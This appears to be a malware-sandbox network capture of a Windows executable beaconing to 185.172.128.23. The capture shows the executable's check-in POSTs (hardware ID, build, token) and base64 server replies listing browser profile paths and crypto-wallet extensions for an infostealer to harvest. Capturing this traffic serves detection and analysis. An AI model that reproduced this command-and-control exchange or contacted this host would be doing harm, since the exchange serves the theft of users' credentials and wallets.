Apr 17, 2024 09:17:34.146852016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:34.146970987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:34.151972055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:34.152015924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:34.356858015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:34.356915951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:34.356955051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:34.625010967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:34.625113964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:34.629806995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:34.629848003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:34.834778070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:34.834836006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:35.080974102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:35.081110954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:35.086410999 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:35.086518049 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:35.291834116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:35.291877031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:35.291888952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:35.575474977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:35.575557947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:35.598499060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:35.598542929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:35.804035902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:35.804578066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:36.026398897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:36.026527882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:36.033617020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:36.033663034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:36.238595963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:36.238656044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:36.510607958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:36.510756016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:36.517164946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:36.517213106 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:36.726111889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:36.726176023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:36.927669048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:36.927808046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:36.940514088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:36.940548897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:37.145808935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:37.145829916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:37.145839930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:37.379813910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:37.379869938 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:37.385850906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:37.385890961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:37.590593100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:37.590656996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:37.840873003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:37.841097116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:37.862456083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.067936897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.181039095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.181128979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.270322084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.270519972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.270596981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.270626068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.475831985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.475891113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.475953102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.475975990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.476042986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.476133108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.476166010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.476181984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.476197958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.476223946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.476231098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.476258039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.476264000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.476285934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.476316929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:38.476345062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.476861954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.476934910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477010012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477240086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477355003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477541924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477576971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477793932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477827072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477858067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477904081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.477957964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.478120089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.478657007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.478689909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.478768110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.478818893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.478852034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.478924036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.478964090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479042053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479074001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479104996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479192019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479223967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479254961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479291916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479410887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479430914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479445934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479460955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479476929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479811907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479871035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479882002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479891062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.479913950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.480272055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.480282068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.480292082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.683973074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684089899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684159040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684191942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684225082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684257984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684289932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684322119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684353113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684386015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684417963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684581995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:38.684614897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:39.124301910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:39.124442101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:39.167514086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:39.372771978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:39.532655954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:39.532907963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:54.961112022 CEST	49704	80	192.168.2.5	185.172.128.23

HTTP Request Dependency Graph

185.172.128.23

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.172.128.23	80	5720	C:\Users\user\Desktop\zVp8cG4riO.exe

Timestamp	Bytes transferred	Direction	Data
Apr 17, 2024 09:16:59.648355007 CEST	416	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 185.172.128.23 Content-Length: 215 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 42 38 39 46 38 45 43 46 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="hwid"30B89F8ECFC93740105281------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="build"default9------ECGHCBGCBFHIIDHIJKFB--
Apr 17, 2024 09:17:00.209841013 CEST	343	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 148 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4d 6a 68 6a 4e 54 63 35 4e 6a 55 32 4d 54 4e 6a 59 54 56 68 5a 54 56 68 5a 44 4e 6b 4e 6d 59 33 5a 54 46 6a 4d 32 49 33 4e 54 46 6c 4f 54 63 7a 59 54 46 69 4e 6a 55 32 4f 57 56 6c 4d 57 59 33 4d 7a 45 30 4f 54 52 6a 4e 6d 4d 79 4d 54 6c 6d 4d 7a 4d 77 4f 54 6c 69 4e 44 4d 77 59 6a 51 30 66 44 55 78 4f 44 51 78 4f 54 46 38 4d 54 45 34 4d 54 67 78 4e 54 55 75 5a 6d 6c 73 5a 58 77 78 66 44 42 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 Data Ascii: MjhjNTc5NjU2MTNjYTVhZTVhZDNkNmY3ZTFjM2I3NTFlOTczYTFiNjU2OWVlMWY3MzE0OTRjNmMyMTlmMzMwOTliNDMwYjQ0fDUxODQxOTF8MTE4MTgxNTUuZmlsZXwxfDB8MXwxfDF8MXwxfDF8
Apr 17, 2024 09:17:00.212598085 CEST	469	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJ Host: 185.172.128.23 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="message"browsers------DGCAAAFCBFBAKFHJDBKJ--
Apr 17, 2024 09:17:00.537456036 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb
Apr 17, 2024 09:17:00.537522078 CEST	427	IN	Data Raw: 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 Data Ascii: 21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQ
Apr 17, 2024 09:17:00.538971901 CEST	468	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 185.172.128.23 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="message"plugins------JJJDGIECFCAKKFHIIIJE--
Apr 17, 2024 09:17:00.864470959 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 